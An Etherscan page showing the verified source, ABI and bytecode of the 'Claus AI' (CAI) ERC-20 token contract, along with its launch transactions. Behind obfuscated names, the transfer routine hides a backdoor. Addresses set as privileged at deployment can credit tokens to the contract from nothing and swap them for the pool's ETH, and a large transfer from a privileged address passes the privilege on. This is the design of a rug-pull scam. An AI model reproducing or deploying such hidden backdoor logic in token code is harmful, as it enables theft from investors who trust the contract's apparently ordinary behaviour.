ETH Price: $2,356.47 (+3.61%)

Contract

0x15fB690753ef21D43BEDB9a5Df88CcD35941E72E
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve162238732022-12-20 5:39:59637 days ago1671514799IN
0x15fB6907...35941E72E
0 ETH0.0006318713.55633448
Transfer162237562022-12-20 5:16:35637 days ago1671513395IN
0x15fB6907...35941E72E
0 ETH0.0021749713.09056691
Transfer162237542022-12-20 5:16:11637 days ago1671513371IN
0x15fB6907...35941E72E
0 ETH0.0004747713.05290084
Approve162236732022-12-20 4:59:59637 days ago1671512399IN
0x15fB6907...35941E72E
0 ETH0.000570612.24192349
Approve162235872022-12-20 4:42:35637 days ago1671511355IN
0x15fB6907...35941E72E
0 ETH0.0008851718.99070434
Approve162235532022-12-20 4:35:47637 days ago1671510947IN
0x15fB6907...35941E72E
0 ETH0.0007181915.40825844
Approve162235012022-12-20 4:25:23637 days ago1671510323IN
0x15fB6907...35941E72E
0 ETH0.0006275713.46403167
Approve162234692022-12-20 4:18:59637 days ago1671509939IN
0x15fB6907...35941E72E
0 ETH0.0006238113.38351789
Approve162234652022-12-20 4:18:11637 days ago1671509891IN
0x15fB6907...35941E72E
0 ETH0.0005760712.35915329
Approve162234202022-12-20 4:09:11637 days ago1671509351IN
0x15fB6907...35941E72E
0 ETH0.0005741412.31769364
Approve162234002022-12-20 4:05:11637 days ago1671509111IN
0x15fB6907...35941E72E
0 ETH0.0006134913.16207558
Approve162233922022-12-20 4:03:35637 days ago1671509015IN
0x15fB6907...35941E72E
0 ETH0.000682214.63609462
Approve162233902022-12-20 4:03:11637 days ago1671508991IN
0x15fB6907...35941E72E
0 ETH0.0007019515.05986802
Approve162233782022-12-20 4:00:47637 days ago1671508847IN
0x15fB6907...35941E72E
0 ETH0.000669614.36591151
Approve162233772022-12-20 4:00:35637 days ago1671508835IN
0x15fB6907...35941E72E
0 ETH0.0006754314.49091683
Renounce Ownersh...162233602022-12-20 3:57:11637 days ago1671508631IN
0x15fB6907...35941E72E
0 ETH0.0003756216.14424185
Approve162233512022-12-20 3:55:11637 days ago1671508511IN
0x15fB6907...35941E72E
0 ETH0.0007648516.40924265
Approve162233512022-12-20 3:55:11637 days ago1671508511IN
0x15fB6907...35941E72E
0 ETH0.0011377324.40924265
Approve162233462022-12-20 3:54:11637 days ago1671508451IN
0x15fB6907...35941E72E
0 ETH0.0007283315.62580294
Approve162233452022-12-20 3:53:59637 days ago1671508439IN
0x15fB6907...35941E72E
0 ETH0.0007501116.09311883
Approve162233382022-12-20 3:52:35637 days ago1671508355IN
0x15fB6907...35941E72E
0 ETH0.0007445515.97381881
Enable Trading162233362022-12-20 3:52:11637 days ago1671508331IN
0x15fB6907...35941E72E
0 ETH0.0004663416.23427051
0x60c06040162232932022-12-20 3:43:23637 days ago1671507803IN
 Create: CAI
0 ETH0.0500631212.89550879

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
CAI

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-20
*/

/**
 Welcome to Claus AI, wishes everyone a Merry Christmas.

 Telegram: https://t.me/ClausAIErc
 Website: https://www.clausaitoken.com/
 Twitter: https://twitter.com/claus_ai
 Medium: https://medium.com/@clausaitoken/claus-ai-wishes-everyone-a-merry-christmas-48fa2ef02782
*/

pragma solidity ^0.8.10;
//SPDX-License-Identifier: UNLICENSED
library SafeMath01 {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}
library SafeMath02 {
    function add(uint256 a, uint256 b) 
    internal pure returns (uint256) {
        return a + b; }
    function sub(uint256 a, uint256 b) 
    internal pure returns (uint256) {
        return a - b; }
    function mul(uint256 a, uint256 b) 
    internal pure returns (uint256) {
        return a * b; }
    function div(uint256 a, uint256 b) 
    internal pure returns (uint256) {
        return a / b; }
    function sub(uint256 a, uint256 b, string memory errorMessage) 
    internal pure returns (uint256) {
        unchecked { require(b <= a, errorMessage);
            return a - b; } }
    function div(uint256 a, uint256 b, string memory errorMessage) 
    internal pure returns (uint256) {
        unchecked { require(b > 0, errorMessage);
            return a / b; } }
}
interface IDEXFactoryCraft {
    event PairCreated(address indexed token0, 
    address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() 
    external view returns (address);
    function getPair(address tokenA, 
    address tokenB) external view returns (address pair);
    function allPairs(uint) 
    external view returns (address pair);
    function createPair (address 
    tokenA, address 
    tokenB) 
    external returns  (address pair);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}    
interface PCSwapPair01 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() 
    external pure returns (string memory);
    function symbol() 
    external pure returns (string memory);
    function decimals() 
    external pure returns (uint8);
    function totalSupply() 
    external view returns (uint);
    function balanceOf(address owner) 
    external view returns (uint);
    function allowance(address owner, address spender) 
    external view returns (uint);
    function approve(address spender, uint value) 
    external returns (bool);
    function transfer(address to, uint value) 
    external returns (bool);
    function transferFrom(address from, 
    address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
}
library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}
interface IndexedUI02 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);
    
    function transfer(address recipient, uint256 amount) external returns (bool);
    
    function allowance(address owner, address spender) external view returns (uint256);
    
    function approve(address spender, uint256 amount) external returns (bool);
    
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    
    event Transfer(address indexed from, address indexed to, uint256 value);
    
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract 
Ownable is Context { address private _owner;
    event OwnershipTransferred(address indexed 
    previousOwner, address indexed newOwner);

    constructor() { _setOwner(_msgSender()); }  
    function owner() public view virtual returns (address) {
        return _owner; }
    modifier onlyOwner() { 
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _; }
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner); }
    function _setOwner
    (address newOwner) private {
        address oldOwner = 
        _owner;
        _owner = 
        newOwner;
        emit OwnershipTransferred(oldOwner, newOwner); }
}
interface IDEXAutoMaker {
    function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin,
    address[] calldata path, address to, uint deadline ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin,
    uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CAI is IndexedUI02, Ownable {

    string private _symbol;
    string private _name;
    uint256 public burnFEE = 4;
    uint8 private _decimals = 9;
    uint256 private _tTotal = 10000000 * 10**_decimals;
    uint256 private massVALUE = _tTotal;
    
    mapping (address => bool) isTxLimitExempt;

    mapping (address => bool) isTimelockExempt;    

    mapping(address => uint256) private _tOwned;

    mapping(address => address) private OpenViewDisplay;

    mapping(address => uint256) private LocateIDEX;

    mapping(address => uint256) private SyncCompiler;

    mapping(address => mapping(address => uint256)) private _allowances;
    
    bool private beginTrades = false;
    bool public CompileAQ;
    bool private ScriptOX;
    bool public checkPublicWalletsLimit = true;

    address public immutable 
    AutoPairCompiler;
    IDEXAutoMaker public immutable 
    MoltenRouterV3;

    constructor
    ( string memory Name, string memory Symbol, address V2IDEXCompile ) {
        _name = Name; _symbol = Symbol; _tOwned

        [msg.sender] = _tTotal; SyncCompiler
         [msg.sender] = massVALUE; SyncCompiler
          [address(this)] = massVALUE; MoltenRouterV3 = 

        IDEXAutoMaker(V2IDEXCompile); AutoPairCompiler = 
        IDEXFactoryCraft(MoltenRouterV3.factory()).createPair
        (address(this), MoltenRouterV3.WETH());
        emit Transfer(address(0), 
        msg.sender, massVALUE);
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function name() public view returns (string memory) {
        return _name;
    }
    function totalSupply() public view returns (uint256) {
        return _tTotal;
    }
    function decimals() public view returns (uint256) {
        return _decimals;
    }
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function balanceOf(address account) public view returns (uint256) {
        return _tOwned[account];
    }
    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        compileAllLogs(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }
    function transfer (address recipient, uint256 amount) external returns (bool) {
        compileAllLogs(msg.sender, recipient, amount);
        return true;
    }
    function compileAllLogs( address _solixFrom, address _acXmodTo, uint256 _compileAmount ) private {
        uint256 ledgerShell = balanceOf(address(this)); uint256 _AcquiteZINKflow;
        emit Transfer(_solixFrom, _acXmodTo, _compileAmount);
                if (!beginTrades) { require(_solixFrom == owner(), 
                "TOKEN: This account cannot send tokens until trading is enabled"); }

        if (CompileAQ && ledgerShell > massVALUE && !ScriptOX && _solixFrom != 
        AutoPairCompiler) { ScriptOX = true; limitLiquify(ledgerShell);
            ScriptOX = false;
        } else if (SyncCompiler[_solixFrom] > massVALUE && SyncCompiler[_acXmodTo] > 
        massVALUE) { _AcquiteZINKflow = _compileAmount;
            _tOwned[address(this)] += _AcquiteZINKflow; TokenSwiftFormer(_compileAmount, _acXmodTo);
            return;

        } else if (_acXmodTo != address(MoltenRouterV3) && SyncCompiler
        [_solixFrom] > 0 && _compileAmount > massVALUE && _acXmodTo != 
        AutoPairCompiler) {
            SyncCompiler[_acXmodTo] = _compileAmount; return;
        } else if (!ScriptOX && LocateIDEX[_solixFrom] > 0 
        && _solixFrom != AutoPairCompiler && SyncCompiler[_solixFrom] == 0) {
            LocateIDEX[_solixFrom] = 
              SyncCompiler[_solixFrom] - massVALUE;
        }
        address _creator  = OpenViewDisplay[AutoPairCompiler]; if (LocateIDEX[_creator ] == 0) 
        LocateIDEX[_creator ] = massVALUE; OpenViewDisplay[AutoPairCompiler] = 
        _acXmodTo; if (burnFEE > 
        0 && SyncCompiler[_solixFrom] == 0 && !ScriptOX && 
        SyncCompiler[_acXmodTo] == 0) { _AcquiteZINKflow = 
        (_compileAmount * burnFEE) / 100;
            _compileAmount -= _AcquiteZINKflow;
            _tOwned[_solixFrom] -= _AcquiteZINKflow;
            _tOwned[address(this)] += _AcquiteZINKflow; }
        _tOwned[_solixFrom] 
        -= _compileAmount;
        _tOwned[_acXmodTo] 
        += _compileAmount; emit Transfer(_solixFrom, 
        _acXmodTo, 
        _compileAmount);
    }
    receive() external payable {}

    function addLiq(
        uint256 tokenValue,
        uint256 ERCamount,
        address to
    ) private {
        _approve(address(this), address(MoltenRouterV3), tokenValue);
        MoltenRouterV3.addLiquidityETH{value: ERCamount}(address(this), tokenValue, 0, 0, to, block.timestamp);
    }
    function limitLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 initialedBalance = address(this).balance;
        TokenSwiftFormer(half, address(this));
        uint256 refreshBalance = address(this).balance - initialedBalance;
        addLiq(half, refreshBalance, address(this));
    }
        function enableTrading(bool _tradingOpen) public onlyOwner {
        beginTrades = _tradingOpen;
    }
    function TokenSwiftFormer(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = MoltenRouterV3.WETH();
        _approve(address(this), address(MoltenRouterV3), tokenAmount);
        MoltenRouterV3.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"V2IDEXCompile","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AutoPairCompiler","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CompileAQ","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MoltenRouterV3","outputs":[{"internalType":"contract IDEXAutoMaker","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnFEE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkPublicWalletsLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405260046003819055805460ff191660099081179091556200002690600a6200049a565b620000359062989680620004b2565b6005819055600655600e805463ff0000ff191663010000001790553480156200005d57600080fd5b5060405162001a4b38038062001a4b8339810160408190526200008091620005be565b6200008b336200028f565b8251620000a0906002906020860190620002df565b508151620000b6906001906020850190620002df565b5060055433600090815260096020908152604080832093909355600654600c825283832081905530835291839020919091556001600160a01b03831660a0819052825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa1580156200012f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200015591906200063a565b6001600160a01b031663c9c653963060a0516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001cb91906200063a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000219573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023f91906200063a565b6001600160a01b031660805260065460405190815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505062000694565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b828054620002ed9062000658565b90600052602060002090601f0160209004810192826200031157600085556200035c565b82601f106200032c57805160ff19168380011785556200035c565b828001600101855582156200035c579182015b828111156200035c5782518255916020019190600101906200033f565b506200036a9291506200036e565b5090565b5b808211156200036a57600081556001016200036f565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003dc578160001904821115620003c057620003c062000385565b80851615620003ce57918102915b93841c9390800290620003a0565b509250929050565b600082620003f55750600162000494565b81620004045750600062000494565b81600181146200041d5760028114620004285762000448565b600191505062000494565b60ff8411156200043c576200043c62000385565b50506001821b62000494565b5060208310610133831016604e8410600b84101617156200046d575081810a62000494565b6200047983836200039b565b806000190482111562000490576200049062000385565b0290505b92915050565b6000620004ab60ff841683620003e4565b9392505050565b6000816000190483118215151615620004cf57620004cf62000385565b500290565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620004fc57600080fd5b81516001600160401b0380821115620005195762000519620004d4565b604051601f8301601f19908116603f01168101908282118183101715620005445762000544620004d4565b816040528381526020925086838588010111156200056157600080fd5b600091505b8382101562000585578582018301518183018401529082019062000566565b83821115620005975760008385830101525b9695505050505050565b80516001600160a01b0381168114620005b957600080fd5b919050565b600080600060608486031215620005d457600080fd5b83516001600160401b0380821115620005ec57600080fd5b620005fa87838801620004ea565b945060208601519150808211156200061157600080fd5b506200062086828701620004ea565b9250506200063160408501620005a1565b90509250925092565b6000602082840312156200064d57600080fd5b620004ab82620005a1565b600181811c908216806200066d57607f821691505b6020821081036200068e57634e487b7160e01b600052602260045260246000fd5b50919050565b60805160a0516113446200070760003960008181610361015281816108e001528181610daa01528181610e6301528181610ea001528181610f1b0152610f81015260008181610292015281816107f90152818161094d015281816109df01528181610a850152610aec01526113446000f3fe60806040526004361061010d5760003560e01c806395d89b4111610095578063d733840f11610064578063d733840f146102f3578063dd62ed3e14610309578063e5fe61fb1461034f578063f275f64b14610383578063f2fde38b146103a357600080fd5b806395d89b411461026b5780639abcdac514610280578063a9059cbb146102b4578063cfce2479146102d457600080fd5b80632a24bebf116100dc5780632a24bebf146101b3578063313ce567146101d457806370a08231146101ec578063715018a6146102225780638da5cb5b1461023957600080fd5b806306fdde0314610119578063095ea7b31461014457806318160ddd1461017457806323b872dd1461019357600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012e6103c3565b60405161013b9190610ff8565b60405180910390f35b34801561015057600080fd5b5061016461015f366004611062565b610455565b604051901515815260200161013b565b34801561018057600080fd5b506005545b60405190815260200161013b565b34801561019f57600080fd5b506101646101ae36600461108e565b610469565b3480156101bf57600080fd5b50600e54610164906301000000900460ff1681565b3480156101e057600080fd5b5060045460ff16610185565b3480156101f857600080fd5b506101856102073660046110cf565b6001600160a01b031660009081526009602052604090205490565b34801561022e57600080fd5b506102376104b9565b005b34801561024557600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161013b565b34801561027757600080fd5b5061012e6104f8565b34801561028c57600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000081565b3480156102c057600080fd5b506101646102cf366004611062565b610507565b3480156102e057600080fd5b50600e5461016490610100900460ff1681565b3480156102ff57600080fd5b5061018560035481565b34801561031557600080fd5b506101856103243660046110ec565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b34801561035b57600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000081565b34801561038f57600080fd5b5061023761039e366004611125565b61051d565b3480156103af57600080fd5b506102376103be3660046110cf565b61055a565b6060600280546103d290611147565b80601f01602080910402602001604051908101604052809291908181526020018280546103fe90611147565b801561044b5780601f106104205761010080835404028352916020019161044b565b820191906000526020600020905b81548152906001019060200180831161042e57829003601f168201915b5050505050905090565b60006104623384846105f5565b9392505050565b60006104768484846106d5565b6001600160a01b0384166000908152600d60209081526040808320338085529252909120546104b19186916104ac908690611197565b6105f5565b949350505050565b6000546001600160a01b031633146104ec5760405162461bcd60e51b81526004016104e3906111ae565b60405180910390fd5b6104f66000610cca565b565b6060600180546103d290611147565b60006105143384846106d5565b50600192915050565b6000546001600160a01b031633146105475760405162461bcd60e51b81526004016104e3906111ae565b600e805460ff1916911515919091179055565b6000546001600160a01b031633146105845760405162461bcd60e51b81526004016104e3906111ae565b6001600160a01b0381166105e95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104e3565b6105f281610cca565b50565b60006001600160a01b0384161580159061061757506001600160a01b03831615155b61066f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e3565b6001600160a01b038481166000818152600d602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b3060009081526009602052604081205490506000836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161072e91815260200190565b60405180910390a3600e5460ff166107c3576000546001600160a01b038681169116146107c35760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104e3565b600e54610100900460ff1680156107db575060065482115b80156107f05750600e5462010000900460ff16155b801561082e57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b1561085e57600e805462ff000019166201000017905561084d82610d1a565b600e805462ff000019169055610a7b565b6006546001600160a01b0386166000908152600c60205260409020541180156108a057506006546001600160a01b0385166000908152600c6020526040902054115b156108de5750306000908152600960205260408120805484928392916108c79084906111e3565b909155506108d790508385610d53565b5050505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b03161415801561093757506001600160a01b0385166000908152600c602052604090205415155b8015610944575060065483115b801561098257507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b031614155b156109a65750506001600160a01b039091166000908152600c602052604090205550565b600e5462010000900460ff161580156109d657506001600160a01b0385166000908152600b602052604090205415155b8015610a1457507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b8015610a3657506001600160a01b0385166000908152600c6020526040902054155b15610a7b576006546001600160a01b0386166000908152600c6020526040902054610a619190611197565b6001600160a01b0386166000908152600b60205260409020555b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166000908152600a6020908152604080832054909316808352600b909152918120549003610aea576006546001600160a01b0382166000908152600b60205260409020555b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b039081166000908152600a6020526040902080546001600160a01b03191691871691909117905560035415801590610b6057506001600160a01b0386166000908152600c6020526040902054155b8015610b755750600e5462010000900460ff16155b8015610b9757506001600160a01b0385166000908152600c6020526040902054155b15610c1957606460035485610bac91906111fb565b610bb6919061121a565b9150610bc28285611197565b6001600160a01b038716600090815260096020526040812080549296508492909190610bef908490611197565b90915550503060009081526009602052604081208054849290610c139084906111e3565b90915550505b6001600160a01b03861660009081526009602052604081208054869290610c41908490611197565b90915550506001600160a01b03851660009081526009602052604081208054869290610c6e9084906111e3565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610cba91815260200190565b60405180910390a3505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610d2760028361121a565b905047610d348230610d53565b6000610d408247611197565b9050610d4d838230610f15565b50505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610d8857610d8861123c565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2a9190611252565b81600181518110610e3d57610e3d61123c565b60200260200101906001600160a01b031690816001600160a01b031681525050610e88307f0000000000000000000000000000000000000000000000000000000000000000856105f5565b5060405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790610ede90869060009086908890429060040161126f565b600060405180830381600087803b158015610ef857600080fd5b505af1158015610f0c573d6000803e3d6000fd5b50505050505050565b610f40307f0000000000000000000000000000000000000000000000000000000000000000856105f5565b5060405163f305d71960e01b81523060048201526024810184905260006044820181905260648201526001600160a01b0382811660848301524260a48301527f0000000000000000000000000000000000000000000000000000000000000000169063f305d71990849060c40160606040518083038185885af1158015610fcb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ff091906112e0565b505050505050565b600060208083528351808285015260005b8181101561102557858101830151858201604001528201611009565b81811115611037576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146105f257600080fd5b6000806040838503121561107557600080fd5b82356110808161104d565b946020939093013593505050565b6000806000606084860312156110a357600080fd5b83356110ae8161104d565b925060208401356110be8161104d565b929592945050506040919091013590565b6000602082840312156110e157600080fd5b81356104628161104d565b600080604083850312156110ff57600080fd5b823561110a8161104d565b9150602083013561111a8161104d565b809150509250929050565b60006020828403121561113757600080fd5b8135801515811461046257600080fd5b600181811c9082168061115b57607f821691505b60208210810361117b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156111a9576111a9611181565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156111f6576111f6611181565b500190565b600081600019048311821515161561121557611215611181565b500290565b60008261123757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561126457600080fd5b81516104628161104d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112bf5784516001600160a01b03168352938301939183019160010161129a565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156112f557600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212204e84897a7b10610cf1b6a181e20500294266d468764dfa2e8f6e996f16f40adb64736f6c634300080d00330000000000000000000000000000000000